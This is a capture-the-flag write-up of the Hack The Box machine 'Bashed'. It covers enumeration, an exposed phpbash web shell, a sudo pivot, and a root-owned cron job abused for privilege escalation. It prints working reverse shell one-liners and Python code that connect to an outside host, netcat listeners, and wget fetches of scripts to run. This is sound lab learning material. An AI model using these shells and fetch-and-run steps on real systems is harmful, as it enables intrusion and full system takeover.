Bashed

About #Bashed
Bashed is a fairly easy machine which focuses mainly on fuzzing and locating important files. As basic access to the crontab is restricted,

This is an easy machine from HTB,

Machine IP address 10.129.156.116

#enumeration
we start with Enumeration of IP using #nmap

```
nmap -Pn -sVC -n --min-rate 1000 -p- 10.129.156.116
```

Simultaneously we run #gobuster as well since we have a http server running in this ip
The site is related to php bash so lets check what we can do

```
gobuster dir -u http://10.129.156.116 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.156.116
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 317] [-->
http://10.129.156.116/images/]
/uploads              (Status: 301) [Size: 318] [-->
http://10.129.156.116/uploads/]
```

```
/php                  (Status: 301) [Size: 314] [-->
http://10.129.156.116/php/]
/css                  (Status: 301) [Size: 314] [-->
http://10.129.156.116/css/]
/dev                  (Status: 301) [Size: 314] [-->
http://10.129.156.116/dev/]
/js                   (Status: 301) [Size: 313] [-->
http://10.129.156.116/js/]
/fonts                (Status: 301) [Size: 316] [-->
http://10.129.156.116/fonts/]
/server-status        (Status: 403) [Size: 302]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
```

above gobuster scan shows that we have /dev directory.

http://10.129.156.116/dev/phpbash.php

in the above link a bash window opens and to check who it is gave whoami command and ifconfig command to see the ip address of the machine

```
www-data@bashed:/var/www/html/dev# ifconfig

ens33 Link encap:Ethernet HWaddr 00:50:56:94:bd:fc
inet addr:10.129.156.116 Bcast:10.129.255.255 Mask:255.255.0.0
inet6 addr: dead:beef::250:56ff:fe94:bdfc/64 Scope:Global
inet6 addr: fe80::250:56ff:fe94:bdfc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:299711 errors:0 dropped:0 overruns:0 frame:0
TX packets:297118 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:40893883 (40.8 MB) TX bytes:119699853 (119.6 MB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:272 errors:0 dropped:0 overruns:0 frame:0
```

```
TX packets:272 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:22928 (22.9 KB) TX bytes:22928 (22.9 KB)
```

run the script #LinEnum_sh from https://github.com/rebootuser/LinEnum/tree/master

in order to run the LinEnum.sh we need to upload the file into the server. to know whether we can use #curl or #wget we can use which command like below

```
www-data@bashed:/dev/shm#which curl
www-data@bashed:/dev/shm#which wget
/usr/bin/wget
```

As we can see in above output curl didnt give any output whereas wget gave an output that we can use this command.

start a python http server to upload the file in the system

```
python3 -m http.server
```

in the server we can use wget command to upload the LinEnum.sh file

```
wget 10.10.16.20/LinEnum.sh
```

this gives an error message that access denied so we go to a temporary folder and upload the file

```
cd /var/shm
wget 10.10.16.20/LinEnum.sh
```

now the file is uploaded and run the file by using bash command

```
bash LinEnum.sh
```

it gave a very long output and we found there are 3 users .

```
00;31m[-] Super user account(s):←[00m
root
```

```
←[00;33m[+] We can sudo without supplying a password!←[00m
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\
:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL


←[00;31m[-] Accounts that have recently used sudo:←[00m
/home/arrexel/.sudo_as_admin_successful


←[00;31m[-] Are permissions on /home directories lax:←[00m
total 16K
drwxr-xr-x 4 root root 4.0K Dec 4 2017 .
drwxr-xr-x 23 **root** root 4.0K Jun 2 2022 ..
drwxr-xr-x 4 **arrexel** arrexel 4.0K Jun 2 2022 arrexel
drwxr-xr-x 3 **scriptmanager** scriptmanager 4.0K Dec 4 2017 scriptmanager
```

to access the server in the terminal we use the reverse shell codes from petestmonkey from github we can gain access to the server by entering below reverse shell code and simultaneously in an alternative terminal use netcat listener

```
bash -i >& /dev/tcp/10.10.16.20/1234 0>&1

nc -lvnp 1234
```

once you gain the access user flag is in below location

```
www-data@bashed: cat /home/arrexel/user.txt
cat /home/arrexel/user.txt
394e8ba[redacted]
scriptmanager@bashed:/scripts$
```

to see whether we can escalate the privilege as sudo user lets try python command

```
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bashed:/dev/shm# sudo -u scriptmanager bash -i

www-data@bashed:/dev/shm# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

as we can see above still the user id is www-data instead of root. to escalate the privilege we need to use php reverse shell. for that upload the reverseshell.php to the the server and open a net cat listner in an alternate terminal. we can upload the reverseshell in uploads folder and access via firefox browser to gain access to the server.

upon gaining the access to the server enter below command to change the user to scriptmanager

```
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bashed:/dev/shm# sudo -u scriptmanager bash -i
scriptmanager@bashed:/$ whoami
whoami
scriptmanager
```

also as a side step create a reverse shell file in terminal with below command and upload it to the server

```
nano shell.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.20",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

upload this python file to the server and replace with existing test.py

```
wget 10.10.16.20:8000/shel.py
scriptmanager@bashed:/scripts$ ls
ls
```

```
test.py  test.txt  shell.py
mv shell.py test.py
```

in an alternate terminal open a netcat listner as per the port mentioned in writeup.py

```
nc -lvnp 1234
```

once the test.py is executed we will get the access to the root

```
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.20] from (UNKNOWN) [10.129.156.116] 58690
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# ls
test.py
test.txt
# cat test.txt
testing 123!# ls /home
arrexel
scriptmanager
# ls
test.py
test.txt
# ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Oct  2 05:50 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager  214 Oct  2 05:42 test.py
-rw-r--r--  1 root          root            12 Oct  2 05:47 test.txt
# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done
# cat test.txt
testing 123!# cd /root
# ls
root.txt
# cat root.txt
```

```
5d9163b[redacted]
#
```